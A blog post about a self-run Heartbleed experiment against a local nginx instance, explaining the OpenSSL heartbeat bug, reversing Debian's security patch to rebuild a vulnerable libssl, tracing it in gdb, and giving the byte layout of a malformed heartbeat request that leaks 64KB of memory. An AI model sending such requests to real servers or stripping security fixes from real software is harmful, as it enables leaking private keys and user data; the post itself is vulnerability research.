This post presents a proof of concept of an exploit for the Heartbleed bug. With the exploit I attempted to steal the private keys from a local instance using a vulnerable version of OpenSSL. I was unsuccessful, but it has proven a very interesting experiment anyway.

The bug

Heartbleed, CVE-2014-0160 in the Common Vulnerabilities and Exposures system, is a bug which affects OpenSSL library allowing an attacker to retrieve a 64KB chunk of memory from the address space of a process which is using libssl. The bug resides in the implementation of one of the features of the TLS protocol, the TLS Heartbeat Extension, and affects OpenSSL from version 1.0.1 to 1.0.1f included.

The bug lies in ssl/t1_lib.c in function tls1_process_heartbeat. A heartbeat request is a way to check if the remote end of the connection is still alive. The client sends a request with a custom payload and the server is supposed to echo back the same data.

/* Allocate memory for the response, size is 1 bytes
 * message type, plus 2 bytes payload length, plus
 * payload, plus padding
 */
buffer = OPENSSL_malloc(1 + 2 + payload + padding);
bp = buffer;

/* Enter response type, length and copy payload */
*bp++ = TLS1_HB_RESPONSE;
s2n(payload, bp);
 memcpy(bp, pl, payload);
bp += payload;

/* Random padding */
RAND_pseudo_bytes(bp, padding);

payload is the length of the payload of the heartbeat request sent by the client, which is read directly from the incoming message. pl points to an area in memory where the payload itself is stored. The bug comes from a missing bounds check when echoing back the data of the heartbeat message: the payload length advertised by the client is never checked against the actual length of the buffer received. A client might specify a length of N bytes, but send instead only M bytes, with M < N. When sending back the response, the server copies payload bytes from the buffer pointed by pl. So, in principle a client can send a heartbeat message with an arbitrary length value, and it will get back a chunk of memory from the server address space. The payload field is actually 16 bits long, so the maximum length is 64KB. The bug can be easily fixed by checking that the advertised length of the payload matches the actual length. A patch was released soon after the disclosure of the bug.

Those 64KB leaked by the server might potentially contain everything which lives in the process address space. Of course the worst case scenario is a server leaking a chunk of memory which contains the private keys used to negotiate the encrypted connection. Soon after the bug was disclosed, Cloudflare announced the Heartbleed Challange, asking the community to steal the private keys from a nginx instance running on their servers. According to their very early experiments, they thought this would never happen, but it turned out they were wrong. In fact, at least four people were able to steal the private keys exploiting Heartbleed, Fedor Indutny being the first one.

openssl package

Following Cloudflare’s example, I decided to try to obtain the private keys from my own instance. I am running Debian Wheezy 7.1 and, according to apt, the openssl version I have installed on my machine is 1.0.1e.

$ sudo apt-cache policy openssl
openssl:
  Installed: 1.0.1e-2+deb7u14
  Candidate: 1.0.1e-2+deb7u14
  Version table:
 *** 1.0.1e-2+deb7u14 0
        500 http://security.debian.org/ wheezy/updates/main i386 Packages
        100 /var/lib/dpkg/status
     1.0.1e-2+deb7u13 0
        500 http://ftp.ch.debian.org/debian/ wheezy/main i386 Packages

At a first glance, this might appear to be a vulnerable release, but the output of openssl version shows that the package has been compiled in early 2015, well after the disclosure of the bug.

$ openssl version -a
OpenSSL 1.0.1e 11 Feb 2013
built on: Thu Jan  8 21:47:50 UTC 2015
platform: debian-i386-i686/cmov
options:  bn(64,32) rc4(8x,mmx) des(ptr,risc1,16,long) blowfish(idx)
[...]

The changelog for openssl_1.0.1e-2+deb7u14 shows that on April the 7th, Heartbleed was fixed incrementing the release to deb7u5.

openssl (1.0.1e-2+deb7u5) wheezy-security; urgency=high

  * Non-maintainer upload by the Security Team.
  * Add CVE-2014-0160.patch patch.
    CVE-2014-0160: Fix TLS/DTLS heartbeat information disclosure.
    A missing bounds check in the handling of the TLS heartbeat extension
    can be used to reveal up to 64k of memory to a connected client or
    server.

 -- Salvatore Bonaccorso <carnil@debian.org>  Mon, 07 Apr 2014 22:26:55 +0200

The openssl version installed on my machine is therefore not vulnerable. In order to restore the bug, the package must be rebuilt without applying the fix. The easiest way to do so is via a reverse patch, since by default apt applies automatically all the patches included in the package after having fetched the sources via apt-get source.

$ apt-get source openssl
[...]
cd openssl-1.0.1e/debian/patches/
interdiff CVE-2014-0160.patch /dev/null > hb_reversed.patch
mv hb_reversed.patch ../../
cd ../..
patch -p1 < hb_reversed.patch

The changes must be committed with dpkg-source --commit (it is not possible to compile the new package until then). This will create the “official” patch out of the differences in the codebase. When committing the changes, a description of the fix must be provided, which will eventually be appended on top of the .patch file. dch -i (part of devscripts in Debian) opens an editor where to add a new changelog entry: the version that appears there will be the one displayed by apt, 1.0.1e-2+deb7u14.1 in my case. The package can be finally built with dpkg-buildpackage -us -uc.

Once done, openssl_1.0.1e-2+deb7u14.1_i386.deb and related packages will be available. Heartbleed vulnerability comes from libssl1.0.0 and the package that should be installed is libssl1.0.0_1.0.1e-2+deb7u14.1_i386.deb.

$ sudo dpkg -i libssl1.0.0_1.0.1e-2+deb7u14.1_i386.deb
(Reading database ... 203151 files and directories currently installed.)
Preparing to replace libssl1.0.0:i386 1.0.1e-2+deb7u14.1 (using libssl1.0.0_1.0.1e-2+deb7u14.1_i386.deb) ...
Unpacking replacement libssl1.0.0:i386 ...
Setting up libssl1.0.0:i386 (1.0.1e-2+deb7u14.1) ...

$ sudo apt-cache policy libssl1.0.0
libssl1.0.0:
  Installed: 1.0.1e-2+deb7u14.1
  Candidate: 1.0.1e-2+deb7u14.1
  Version table:
 *** 1.0.1e-2+deb7u14.1 0
        100 /var/lib/dpkg/status
     1.0.1e-2+deb7u14 0
        500 http://security.debian.org/ wheezy/updates/main i386 Packages
     1.0.1e-2+deb7u13 0
        500 http://ftp.ch.debian.org/debian/ wheezy/main i386 Packages

It is possible to revert to the old clean package by passing a specific version to apt.

$ sudo apt-get install libssl1.0.0=1.0.1e-2+deb7u14
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following packages will be DOWNGRADED:
  libssl1.0.0
0 upgraded, 0 newly installed, 1 downgraded, 0 to remove and 269 not upgraded.
Need to get 0 B/3,037 kB of archives.
After this operation, 52.2 kB disk space will be freed.
Do you want to continue [Y/n]? Y
Preconfiguring packages ...
dpkg: warning: downgrading libssl1.0.0:i386 from 1.0.1e-2+deb7u14.1 to 1.0.1e-2+deb7u14
(Reading database ... 203151 files and directories currently installed.)
Preparing to replace libssl1.0.0:i386 1.0.1e-2+deb7u14.1 (using .../libssl1.0.0_1.0.1e-2+deb7u14_i386.deb) ...
Unpacking replacement libssl1.0.0:i386 ...
Setting up libssl1.0.0:i386 (1.0.1e-2+deb7u14) ...

nginx installation

nginx can be configured to enable HTTPS connections by simply adding the following server entry in the configuration file within the http section, making sure it does not clash with other server definitions included from /etc/nginx/sites-enabled. The default configuration file is /etc/nginx/nginx.conf.

server {
    listen              443 ssl;
    server_name         localhost;
    ssl_certificate     <path_to_ssl_cert>;
    ssl_certificate_key <path_to_private_key>;
    location / {
            root   /usr/share/nginx/www;
            index  index.html index.htm;
    }
}

Heartbeat request

The very first step to exploit Heartbleed is to send a proper heartbeat request to the nginx instance, making sure the server echoes back the payload of the message.

0x18                    # Type: Heartbeat
0x03 0x02               # Protocol: TLS 1.1 (SSL v3.2)
0x00 0x17               # Record length, size of the heartbeat message
0x01                    # heartbeat message type: request
0x00 0x04               # Payload size
0xDE 0xAD 0xBE 0xEF     # Payload
0xAB 0x9A 0xC1 0x97     # 16 bytes random padding
0xDA 0xC8 0xFC 0x92     #
0x9E 0xEE 0xD4 0x3B     #
0x93 0xDD 0x7D 0xB5     #

It turned out to be a bit more complicated than that. The heartbeat message is sent to the server but no response whatsoever is returned. The picture below shows that Wireshark decodes properly the SSL record, which means the message can be considered as well-formatted.

Even if the SSL handshake is not terminated, as shown by the traffic dump, the server should reply anyway with a heartbeat response message. After several unsuccessful attempts, I decided to go more in depth by following step by step the execution on the server side.

Executing libssl under gdb

In order to execute any piece of code under a debugger, two requirements are essential: debug symbols and source code. The former can be obtained under Debian with -dbg packages. However, if the original binary has been compiled with optimizations enabled, a single-step execution will not result in a clean flow at the source code level: associating assembly instructions to C code becomes difficult due to instruction reordering, loop unrolling, inlining, etc. The -dbg package might be enough to generate a meaningful stack trace when the program crashes, but for single step execution libssl must be re-compiled with debug symbols and without optimizations. CFLAGS used by dpkg are set in /etc/dpkg/buildflags.conf. The following should do the job:

SET CFLAGS -g -O0 -fstack-protector --param=ssp-buffer-size=4 -Wformat -Werror=format-security

A further simplification which makes debugging easier is to add the following directive in /etc/nginx/nginx.conf in order to spawn only one worker thread for serving incoming requests:

worker_processes 1;

After restarting nginx, gdb can be attached to the worker process.

$ ps aux | grep nginx
root      5210  0.0  0.0  11980   960 ?        Ss   10:15   0:00 nginx: master process /usr/sbin/nginx
www-data  5211  0.0  0.0  12144  1356 ?        S    10:15   0:00 nginx: worker process
marco     5258  0.0  0.0   3548   804 pts/0    S+   10:15   0:00 grep nginx
$ sudo gdb
GNU gdb (GDB) 7.4.1-debian
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
(gdb) attach 5211

gdb tries to load the symbols of all the shared objects mapped in the address space of the process, including libssl.so.1.0.0, which should result in the following messages:

Reading symbols from /usr/lib/i386-linux-gnu/i686/cmov/libssl.so.1.0.0...done.
Loaded symbols for /usr/lib/i386-linux-gnu/i686/cmov/libssl.so.1.0.0

gdb should also be pointed to the location of the source code with the directory command.

(gdb) directory <path-of-the-sources-of-the-dpkg-package>/openssl-1.0.1e/ssl
Source directories searched: <path-of-the-sources-of-the-dpkg-package>/openssl-1.0.1e/ssl:$cdir:$cwd

A breakpoint on tls1_process_heartbeat can be set and the execution resumed.

(gdb) break tls1_process_heartbeat
Breakpoint 1 at 0xb76c29d4: file t1_lib.c, line 2579.
(gdb) c
Continuing.

Now, upon receiving a heartbeat message, the code will hit the breakpoint, allowing step by step execution.

Breakpoint 1, tls1_process_heartbeat (s=0x9910a58) at t1_lib.c:2579
2579        unsigned char *p = &s->s3->rrec.data[0], *pl;
(gdb) s
2582        unsigned int padding = 16; /* Use minimum padding */
(gdb) s
2585        hbtype = *p++;
(gdb) s
2586        n2s(p, payload);
(gdb)
2587        pl = p;
(gdb)

The control path which explains why a heartbeat response is not echoed back to the client leads to function buffer_write in bf_buff.c.

Breakpoint 1, tls1_process_heartbeat (s=0x9910a58) at t1_lib.c:2579
[...]
2614            r = ssl3_write_bytes(s, TLS1_RT_HEARTBEAT, buffer, 3 + payload + padding);
(gdb) s
ssl3_write_bytes (s=0x9910a58, type=24, buf_=0x99609a8, len=23) at s3_pkt.c:584
[...]
611         i=do_ssl3_write(s, type, &(buf[tot]), nw, 0);
(gdb) s
    do_ssl3_write (s=0x9910a58, type=24, buf=0x99609a8 "\002", len=23, create_empty_fragment=0) at s3_pkt.c:638
    [...]
    856     return ssl3_write_pending(s,type,buf,len);
    (gdb) s
    ssl3_write_pending (s=0x9910a58, type=24, buf=0x99609a8 "\002", len=23) at s3_pkt.c:866
        [...]
        884             i=BIO_write(s->wbio,
        (gdb) s
            BIO_write (b=0x99128b0, in=0x995b8cb, inl=28) at bio_lib.c:227
            [...]
            241     if (!b->init)
            (gdb)
            247     i=b->method->bwrite(b,in,inl);
            (gdb) s
                buffer_write (b=0x99128b0, in=0x995b8cb "\030\003\002", inl=28) at bf_buff.c:199
                [...]
                210     if (i >= inl)
                (gdb)
                212         memcpy(&(ctx->obuf[ctx->obuf_off+ctx->obuf_len]),in,inl);
                (gdb)
                213         ctx->obuf_len+=inl;
                (gdb)
                214         return(num+inl);
                (gdb)
                268     }
                (gdb)
            BIO_write (b=0x99128b0, in=0x995b8cb, inl=28) at bio_lib.c:249
            249     if (i > 0) b->num_write+=(unsigned long)i;

A full trace is available here. The buffer_write function is defined in crypto/bio/bf_buf.c.

static int buffer_write(BIO *b, const char *in, int inl)
    {
    int i,num=0;
    BIO_F_BUFFER_CTX *ctx;

    if ((in == NULL) || (inl <= 0)) return(0);
    ctx=(BIO_F_BUFFER_CTX *)b->ptr;
    if ((ctx == NULL) || (b->next_bio == NULL)) return(0);

    BIO_clear_retry_flags(b);
start:
    i=ctx->obuf_size-(ctx->obuf_len+ctx->obuf_off);
    /* add to buffer and return */
    if (i >= inl)
            {
            memcpy(&(ctx->obuf[ctx->obuf_off+ctx->obuf_len]),in,inl);
            ctx->obuf_len+=inl;
            return(num+inl);
            }
    /* else */
    /* stuff already in buffer, so add to it first, then flush */
    if (ctx->obuf_len != 0)
            {
            if (i > 0) /* lets fill it up if we can */
                    {
                    memcpy(&(ctx->obuf[ctx->obuf_off+ctx->obuf_len]),in,i);
                    in+=i;
                    inl-=i;
                    num+=i;
                    ctx->obuf_len+=i;
                    }
            /* we now have a full buffer needing flushing */
            for (;;)
                    {
                    i=BIO_write(b->next_bio,&(ctx->obuf[ctx->obuf_off]),
                            ctx->obuf_len);
                    if (i <= 0)
                            {
                            BIO_copy_next_retry(b);

                            if (i < 0) return((num > 0)?num:i);
                            if (i == 0) return(num);
                            }
                    ctx->obuf_off+=i;
                    ctx->obuf_len-=i;
                    if (ctx->obuf_len == 0) break;
                    }
            }
    /* we only get here if the buffer has been flushed and we
     * still have stuff to write */
    ctx->obuf_off=0;

    /* we now have inl bytes to write */
        while (inl >= ctx->obuf_size)
                {
                i=BIO_write(b->next_bio,in,inl);
                if (i <= 0)
                        {
                        BIO_copy_next_retry(b);
                        if (i < 0) return((num > 0)?num:i);
                        if (i == 0) return(num);
                        }
                num+=i;
                in+=i;
                inl-=i;
                if (inl == 0) return(num);
                }

        /* copy the rest into the buffer since we have only a small
         * amount left */
        goto start;
        }

This function copies the data passed as argument with pointer *in into the buffer pointed by the BIO object *b. The decision whether to flush or not the buffer through the socket is taken based on the size of the data with respect to the size of the BIO buffer. If the former is smaller than the latter, the buffer is not flushed. In this case the heartbeat response message is 28 bytes and the buffer is 4KB, which prevents the data from being flushed.

(gdb) print i
$1 = 4096
(gdb) print inl
$2 = 28

What happens if the size of the heartbeat message is bigger than the buffer, say 5000 bytes? I used heartbeat_send.c to send a well-formed heartbeat request while tracing buffer_write.

    (gdb)
    247     i=b->method->bwrite(b,in,inl);
    (gdb) s
    buffer_write (b=0x9960ae8, in=0x995b8cb "[content of the buffer, omitted]"..., inl=5000) at bf_buff.c:199
    199     int i,num=0;
    (gdb) print inl
    $3 = 5000
    (gdb) n
    202     if ((in == NULL) || (inl <= 0)) return(0);
    (gdb)
    203     ctx=(BIO_F_BUFFER_CTX *)b->ptr;
    (gdb)
    204     if ((ctx == NULL) || (b->next_bio == NULL)) return(0);
    (gdb)
    206     BIO_clear_retry_flags(b);
    (gdb)
    208     i=ctx->obuf_size-(ctx->obuf_len+ctx->obuf_off);
    (gdb)
    210     if (i >= inl)
    (gdb)
    218     if (ctx->obuf_len != 0)
    (gdb)
    247     ctx->obuf_off=0;
    (gdb) print ctx->obuf_len
    $4 = 0
    (gdb) n
    250     while (inl >= ctx->obuf_size)
    (gdb)
    252         i=BIO_write(b->next_bio,in,inl);
    (gdb)
    253         if (i <= 0)
    (gdb)
    259         num+=i;
    (gdb)
    260         in+=i;
    (gdb)
    261         inl-=i;
    (gdb)
    262         if (inl == 0) return(num);
    (gdb)
    268     }
    (gdb)
    BIO_write (b=0x9960ae8, in=0x995b8cb, inl=5000) at bio_lib.c:249
    249     if (i > 0) b->num_write+=(unsigned long)i;
    (gdb) print i
    $5 = 5000

The loop at line 250 writes 5000 bytes in the output buffer, which is then flushed through the socket; the client receives a well-formed heartbeat response with a payload that matches the data carried in the request message.

Heartbleed request

A malformed heartbeat request features a payload size which does not match the actual length of the data carried inside the message.

0x18                    # Type: Heartbeat
0x03 0x02               # Protocol: TLS 1.1 (SSL v3.2)
0x00 0x03               # Record length, size of the heartbeat message
0x01                    # heartbeat message type: request
0xFF 0xFF               # Payload size, does not match the actual size of the payload
                        # No payload

Due to the lack of checks on the payload size, the server returns 65536 bytes copied from the address space of the process: heartbeat_send.c can be adapted to send a malformed request. The heartbeat response message contains 65536 bytes of payload, 16 bytes of padding and 4 bytes of header, 65556 in total.

$ ./send_heartbleed
Initializing new connection...
Connecting...
Connected!
resplen:  65556

Scanning leaked memory

After setting up my local nginx instance with a newly generated private/public key pair, I tried to look for a prime factor that would divide n (part of the public key) in the memory leaked by the server using exploit.c. With ulimit, I capped the maximum size of the virtual address space of the process at 256MB and I fired up 8 parallel instances of the script. After ~3M requests, I could not find any trace of the private keys.